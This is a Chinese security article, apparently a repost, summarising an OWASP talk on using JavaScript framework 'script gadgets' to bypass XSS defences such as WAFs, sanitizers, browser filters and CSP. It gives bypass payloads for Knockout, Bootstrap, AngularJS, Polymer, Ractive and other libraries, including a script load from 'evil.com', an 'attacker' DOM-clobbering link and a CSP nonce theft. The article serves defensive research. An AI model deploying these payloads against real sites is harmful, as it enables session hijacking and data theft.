通过脚本片段绕过XSS防御
信息安全公益宣传,信息安全知识启蒙。
加微信群回复公众号:微信群;QQ群:16004488
加微信群或QQ群可免费索取:学习教程
教程列表见微信公众号底部菜单
从恶作剧弹框到盲打后台乃至沦陷一个企业,XSS的危害可大可小,近年来,XSS攻击与防御的博弈持续不断,下面是今年5月份北爱尔兰首府举行的OWASP AppSec EU的安全议题:通过脚本片段绕过XSS防御。
一、XSS 防御措施
尽管业界付出了很多努力,XSS依然是一个广泛且未解决的问题。有数据指出:谷歌VRP中70%的漏洞是XSS漏洞。
XSS防御技术的通用假设为:XSS将会永远存在,我们应把重点放在XSS防御上。
防御措施主要是阻止以下类型的XSS攻击:
具体可分为:
1、WAF, XSS filters
阻断包含危险标签和属性的请求。
2、HTML净化
从HTML中移除危险的标签和属性。
3、内容安全策略CSP
区分合法的和非法注入的JS代码
二、使用JS框架
防御手段认为封锁危险的标签和属性可以阻止XSS攻击,那么当前流行的JS框架来构建一个应用程序时,这种手段是否还可行?
首先提及选择器,JavaScript通过选择器与DOM进行交互:
<myTagid="someId" class="class1”data-foo="bar"> </myTag>
<script>
tags =querySelectorAll("myTag"); // by tag name
tags = querySelectorAll("#someId");// by id
tags =querySelectorAll(".class1"); // by class name
tags =querySelectorAll("[data-foo]"); // by attribute name
tags =querySelectorAll("[data-foo^=bar]"); // by attribute value
</script>
在JS框架中,选择器是所有JavaScript框架和库的基本元素。例如:
jQuery因它的$函数而闻名:
$(' <jqueryselector>').append('some text to append');
Bootstrap框架为其API使用data-attributes:
<div data-toggle=tooltip title='I am atooltip!'>some text </div>
具体来看选择器的一些案例
<div data-role="button"data-text="I am a button"> </div>
<script>
var buttons =$("[data-role=button]");
buttons.attr("style","...");
// [...]
buttons.html(button.getAttribute("data-text"));
</script>
以上的代码是否存在安全问题?
尝试XSS攻击
XSS BEGINS HERE
<div data-role="button"data-text=" <script> </script>"> </div>
XSS ENDS HERE
<div data-role="button"data-text="I am a button"> </div>
<script>
var buttons =$("[data-role=button]");
buttons.attr("style","...");
// [...]
buttons.html(button.getAttribute("data-text"));
</script>
即使使用了良好的标记/属性,也不能信任DOM。合法的代码把它们变成了JS,绕过了防御手段。
三、脚本片段
一个脚本片段是指一段可以触发HTML注入的合法JavaScript代码。
1. 背景调查
我们调查了16种现在流行的JavaScript框架和函数库:MVC框架,模板系统,UI组件库,工具集;基于受欢迎程度列表、StackOverflow问题和实际使用统计的策略选择。以下为我们调查的框架:
Angular (1.x), Polymer (1.x), React, jQuery,jQuery UI, jQuery Mobile, Vue, Aurelia,Underscore / Backbone, Knockout, Ember,Closure Library, Ractive.js, Dojo Toolkit,RequireJS, Bootstrap
A. 我们用每种相同的框架构建简单的应用;
B. 我们在框架中添加XSS缺陷;
C. 我们设置了各种XSS防御手段:
a) CSP - 基于白名单,基于nonce的,不安全的eval,严格的动态;
b) XSS filters - Chrome XSSAuditor,Edge,NoScript
c) HTML净化 - DOMPurify,Closure HTML sanitizer
d) WAFs - ModSecurity w/CRS
D. 我们手工分析这些框架的代码, 然后开始使用脚本片段撰写绕过方式。
2、优先看看结果
我们绕过了每一个测试案例的防御。 我们有pocs!绕过16种流行库的防御XSS的姿势集合:
Content Security Policy | WAF | |||
白名单 | 随机数 | 不安全的eval | 受限的动态脚本 | ModSecurity CRS |
3 /16 | 4 /16 | 10 /16 | 13 /16 | 9 /16 |
XSS 过滤器 | 净化器 | |||
Chrome | Edge | NoScript | DOMPurify | Closure |
13 /16 | 9 /16 | 9 /16 | 9 /16 | 6 /16 |
3、脚本片段举例
querySelector(),getElementById(), …
innerHTML =foo, …
createElement(‘script’), createElement(foo)
obj[foo] =bar, foo = foo[bar]
function(),callback.apply(), ...
这样的代码片段在JS框架/库中似乎是良性且常见的。
四、更多花样
更有趣的是,我们可以串联多个脚本片段以触发任意JS代码执行。
例如Knockout
<div data-bind="value:'hello world'"></div>
浏览器不会将其解释为JavaScript。Knockout使用以下语句与之交互:
switch (node.nodeType) {
case 1: return node.getAttribute(“data-bind”);
var rewrittenBindings =ko.expressionRewriting.preProcessBindings(bindingsString, options),
functionBody = "with($context){with($data||{}){return{" +rewrittenBindings + "}}}";
return new Function("$context","$element", functionBody);
return bindingFunction(bindingContext,node);
Knockout创建一个属性值--->函数调用链:
<div data-bind="foo: "> </div>
有效载荷包含在数据属性值中,在DOMPurify、 XSS filters、ModSecurity CRS中均能绕过。
<div data-bind="html:'hello <b>world </b>'"> </div>
Knockout代码处理DOM中的数据:
ko.bindingHandlers['html'] = {
'update': function (element, valueAccessor){
ko.utils.setHtml(element, valueAccessor());}};
ko.utils.setHtml = function(node, html) {
if (jQueryInstance)
jQueryInstance(node)['html'](node);};
function DOM { // JQuery 3
var script = doc.createElement("script" );
script.text = code;
doc.head.appendChild( script).parentNode.removeChild( script );
属性值 => createElement(‘script’) 链
严格的动态CSP将信任传递给编程创建的脚本,绕过严格的CSP:
<div data-bind="html:' <script src="//evil.com"> </script>'"> </div>
使用Bootstrap绕过严格的CSP策略:
<div data-toggle=tooltip data-html=true title='<script> </script>'> </div>
使用jQuery Mobile绕过净化器:
<div data-role=popup id='--> <script> </script>'></div>
使用Closure (DOM clobbering)绕过NoScript:
<a id=CLOSURE_BASE_PATHhref=http://attacker/xss> </a>
使用Dojo工具包绕过ModSecurityCRS:
<div data-dojo-type="dijit/Declaration"data-dojo-props="}--{">
使用下划线模板绕过CSPunsafe-eval:
<div type=underscore/template > <% %> </div>
五、表达式解析器中的脚本片段
一些常见框架:Aurelia, Angular, Polymer, Ractive, Vue
A. 上面的框架使用非基于eval的表达式解析器
B. 他们自行标记,解析和评估表达式
C. 表达式被“编译”到Javascript
D. 在评估(例如绑定解析)期间,此被解析的代码运行于:DOM 元素和属性、本地对象和数组等
用足够复杂的表达式语言,我们可以运行任意JS代码。.
例如绕过AngularJS沙箱
示例:Aurelia - 属性遍历小片段
<td> ${customer.name} </td>
if (this.optional('.')) {
// ...
result = new AccessMember(result, name);}
AccessMember.prototype.evaluate =function(...) { // ...
return /* … *./ instance[this.name];
};
Aurelia – 函数调用小片段
<button foo.call="sayHello()">
Say Hello!
</button>
if (this.optional('(')) {
// ...
result = new CallMember(result, name,args);}
CallMember.prototype.evaluate =function(...) { // ...
return func.apply(instance, args);
};
如何触发?
从节点到窗口、获取弹窗[“alert”]、用受控参数执行功能:
<div ref=mes.bind="$this.me.ownerdefaultView."> </div>
这种方法可绕过所有已测试过的防御措施,甚至是基于白名单和随机数的CSP。
再来几个示例:
1 使用Polymer 1.x绕过白名单/随机数CSP
<template is=dom-bind> <div
c={{}}
b={{set('_rootDataHost',ownerdefaultView)}}>
</div> </template>
2 使用 AngularJS 1.6+绕过白名单/随机数CSP
<div ng-app ng-cspng-focus="x=$event.view.window;x.">
通过这些小片段,我们可以创建更精细的连锁反应。
3 在Polymer 1.x 创建新的脚本元素
<template is=dom-bind> <div
five={{insert(me._nodes.0.scriptprop)}}
four="{{set('insert',me.root.ownerbody.appendChild)}}"
three="{{set('me',nextSibling.previousSibling)}}"
two={{set('_nodes.0.scriptprop.src','data:\,')}}
scriptprop={{_factory()}}
one={{set('_factoryArgs.0','script')}} >
</template>
4 使用Ractive窃取CSP随机数
<script id="template"type="text/ractive">
<iframe srcdoc="
<script nonce={{@global.currentScript.nonce}}>
</{{}}script>">
</iframe>
</script>
六、结论
1、防御措施往往通过过滤特定的标签或者属性来封锁XSS攻击载荷
2、目前很多JS框架都没有对集成的脚本片段进行过滤
3、我们可以插入集成的脚本片段进行XSS攻击而非简单的小脚本块来绕过各种防御
4、我们可以通过触发HTML注入来引发XSS攻击从而绕过XSS防御。
5、更多测试的PoCs 详见 https://github.com/google/security-research-pocs
来源:顺丰安全应急响应中心